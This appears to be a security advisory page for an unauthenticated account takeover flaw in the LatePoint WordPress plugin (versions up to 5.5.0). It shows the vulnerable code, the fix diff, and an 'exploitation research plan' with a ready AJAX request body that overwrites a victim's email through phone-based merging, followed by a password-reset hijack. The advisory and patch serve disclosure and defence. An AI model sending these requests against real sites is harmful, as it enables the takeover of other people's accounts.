LatePoint <= 5.5.0 - Unauthenticated Account Takeover via Weak Password Recovery Mechanism
Description
The LatePoint plugin for WordPress is vulnerable to Account Takeover via Weak Password Recovery Mechanism in the unauthenticated guest booking flow in versions up to, and including, 5.5.0 This is due to the save_connected_wordpress_user() function propagating a LatePoint customer's email address to its linked WordPress user account via wp_update_user() without any ownership verification, combined with the guest booking flow's ability to overwrite an existing customer's email through phone-based merge without authentication. This makes it possible for unauthenticated attackers to overwrite the email address of a non-super-admin WordPress user account that is not yet linked to a LatePoint customer, enabling full account takeover by subsequently triggering the standard WordPress password-reset flow to the attacker-controlled address granted the plugin is configured with WordPress user integration enabled, phone-based contact merging, and customer authentication disabled. Administrator accounts on single-site installs are not affected.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.5.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-7652 ## 1. Vulnerability Summary The **LatePoint** plugin (<= 5.5.0) is vulnerable to an unauthenticated account takeover due to a flaw in how it handles customer information during the guest booking flow. When "WordPress User Integration" and "Phone-based Me…
Show full research plan
Exploitation Research Plan - CVE-2026-7652
1. Vulnerability Summary
The LatePoint plugin (<= 5.5.0) is vulnerable to an unauthenticated account takeover due to a flaw in how it handles customer information during the guest booking flow. When "WordPress User Integration" and "Phone-based Merging" are enabled, the plugin allows unauthenticated users to overwrite the email address of a linked WordPress user account.
The vulnerability exists in the logic that merges guest customer data with existing records. If an attacker provides a phone number belonging to an existing user but specifies a new, attacker-controlled email address, the plugin updates the associated WordPress user's email via wp_update_user() in the save_connected_wordpress_user() function. This occurs without verifying ownership of the phone number or the WordPress account, allowing an attacker to then use the standard WordPress "Lost Password" flow to take over the account.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
latepoint_route_call(unauthenticated) - Route:
steps__process_step - Parameters:
step_name:customercustomer[phone]: Victim's phone number (used for merging)customer[email]: Attacker's email address (the new value)customer[first_name]/customer[last_name]: Required fields
- Authentication: None required (Guest booking flow)
- Preconditions:
- WordPress User Integration enabled (
latepoint_settings['enable_wordpress_user_integration'] == 'on'). - Customer Merging set to
phone(or phone-based merging enabled). - Customer Authentication disabled (allowing guests to book).
- WordPress User Integration enabled (
3. Code Flow
- An unauthenticated request is sent to the
latepoint_route_callAJAX action with the routesteps__process_stepandstep_name=customer. - The
OsStepsController(inferred) processes the step. - The plugin identifies that a customer with the provided
phonealready exists or matches a WordPress user. - Because merging is enabled, the plugin updates the existing
OsCustomerModelwith the newemailprovided in the request. - After saving the customer record, the plugin calls
save_connected_wordpress_user()(inferred to be inOsAuthHelperorOsCustomerHelper). save_connected_wordpress_user()retrieves thewordpress_user_idfrom the customer record and callswp_update_user([ 'ID' => $wp_user_id, 'user_email' => $new_email ]).- The WordPress user's email is successfully changed to the attacker's email.
4. Nonce Acquisition Strategy
LatePoint typically uses a centralized nonce for AJAX requests available in the latepoint_helper JavaScript object.
- Identify Script Loading: The booking scripts load on pages containing the LatePoint booking shortcodes.
- Setup: Create a temporary page with the booking form.
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[latepoint_book_button]' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce:browser_eval("window.latepoint_helper?.nonce")
- Bypass Check: If the
customerstep does not enforce a nonce (common in guest flows to prevent caching issues), this step may be skipped.
5. Exploitation Strategy
- Initialize Session: Perform a request to get an
order_intent_key(LatePoint's session identifier).- Request to
steps__get_stepfor thebookingstep.
- Request to
- Identify Victim: Find a WordPress user (non-admin) and their associated phone number.
- Execute Takeover:
- Send a POST request to
admin-ajax.php. - URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=latepoint_route_call &route_name=steps__process_step ¶ms[step_name]=customer ¶ms[customer][first_name]=Attacker ¶ms[customer][last_name]=User ¶ms[customer][phone]=VICTIM_PHONE_NUMBER ¶ms[customer][email]=attacker-controlled@example.com &latepoint_nonce=EXTRACTED_NONCE
- Send a POST request to
- Trigger Reset: Navigate to
wp-login.php?action=lostpasswordand enter the victim's username. The reset link will be sent toattacker-controlled@example.com.
6. Test Data Setup
- Create Victim:
wp user create victim victim@example.com --role=subscriber --user_pass=password123 # LatePoint stores phone in user meta or customer table. # Ensure the phone is linked to the LatePoint customer record for this user. - Configure LatePoint:
# Enable WP User Integration and Phone Merging wp option patch insert latepoint_settings enable_wordpress_user_integration 'on' wp option patch insert latepoint_settings customer_merging_field 'phone' wp option patch insert latepoint_settings customer_authentication_for_bookings 'off' - Create Booking Page:
wp post create --post_type=page --post_status=publish --post_content='[latepoint_booking_form]'
7. Expected Results
- The AJAX response should return
status: "success". - The WordPress database should now show the victim's user record updated with the attacker's email address.
8. Verification Steps
Verify the email change via WP-CLI:
wp user get victim --fields=user_email
# Expected output: attacker-controlled@example.com
9. Alternative Approaches
If the steps__process_step route requires an active order_intent, first send a request to:
- Route:
steps__start_bookingorsteps__get_stepwithstep_name=booking. - Extract the
order_intent_keyfrom the response JSON and include it asparams[order_intent_key]in the exploit payload.
Summary
The LatePoint plugin for WordPress is vulnerable to an unauthenticated account takeover due to a weak password recovery mechanism within its guest booking flow. By providing a victim's phone number during booking, the plugin's phone-based merging logic updates the associated WordPress user's email to an attacker-controlled address without verification, allowing the attacker to then hijack the account via the standard WordPress lost password feature.
Vulnerable Code
// latepoint.php line 1147 public function save_connected_wordpress_user( $customer ) { if ( $customer->is_new_record() ) { return; } if ( $customer instanceof OsCustomerModel ) { if ( $customer->wordpress_user_id ) { // has connected wp user $wp_user = get_user_by( 'id', $customer->wordpress_user_id ); if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) { // update linked wordpress user if ( $customer->first_name && $customer->first_name != $wp_user->first_name ) { $wp_user->first_name = $customer->first_name; } if ( $customer->last_name && $customer->last_name != $wp_user->last_name ) { $wp_user->last_name = $customer->last_name; } if ( $customer->email && $customer->email != $wp_user->user_email ) { $wp_user->user_email = $customer->email; } wp_update_user( $wp_user ); // update user cookies because their data has changed } } } }
Security Fix
@@ -1147,15 +1147,24 @@ } public function save_connected_wordpress_user( $customer ) { + if ( ! $customer instanceof OsCustomerModel ) { + return; + } + if ( $customer->is_new_record() ) { return; } - if ( $customer instanceof OsCustomerModel ) { - if ( $customer->wordpress_user_id ) { - // has connected wp user - $wp_user = get_user_by( 'id', $customer->wordpress_user_id ); - if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) { - // update linked wordpress user + + if ( $customer->wordpress_user_id ) { + // has connected wp user + $wp_user = get_user_by( 'id', $customer->wordpress_user_id ); + if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) { + // Only sync to the linked WP user when request comes from the account owner or an admin. + // This prevents unauthenticated guest booking requests from overwriting WP user data. + $current_user_id = get_current_user_id(); + $wp_user_id = (int) $customer->wordpress_user_id; + $is_owner_or_admin = is_user_logged_in() && ( $current_user_id === $wp_user_id || current_user_can( 'manage_options' ) ); + if ( $is_owner_or_admin ) { if ( $customer->first_name && $customer->first_name != $wp_user->first_name ) { $wp_user->first_name = $customer->first_name; } @@ -1172,10 +1181,10 @@ // update user cookies because their data has changed } } - } else { - if ( OsAuthHelper::can_wp_users_login_as_customers() ) { - OsCustomerHelper::create_wp_user_for_customer( $customer ); - } + } + } else { + if ( OsAuthHelper::can_wp_users_login_as_customers() ) { + OsCustomerHelper::create_wp_user_for_customer( $customer ); } } }
Exploit Outline
To exploit this vulnerability, an attacker first identifies the phone number of a target WordPress user who has a linked LatePoint customer account. The attacker then initiates an unauthenticated AJAX request to the `latepoint_route_call` endpoint with the `steps__process_step` route. The payload specifies the `customer` step and includes the victim's phone number along with an attacker-controlled email address. Because the plugin is configured to merge customers based on phone number and lacks ownership validation in `save_connected_wordpress_user()`, it updates the victim's WordPress user record with the attacker's email. Finally, the attacker uses the standard WordPress 'Lost Password' flow to send a password reset link to their own email address, granting them full access to the victim's account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.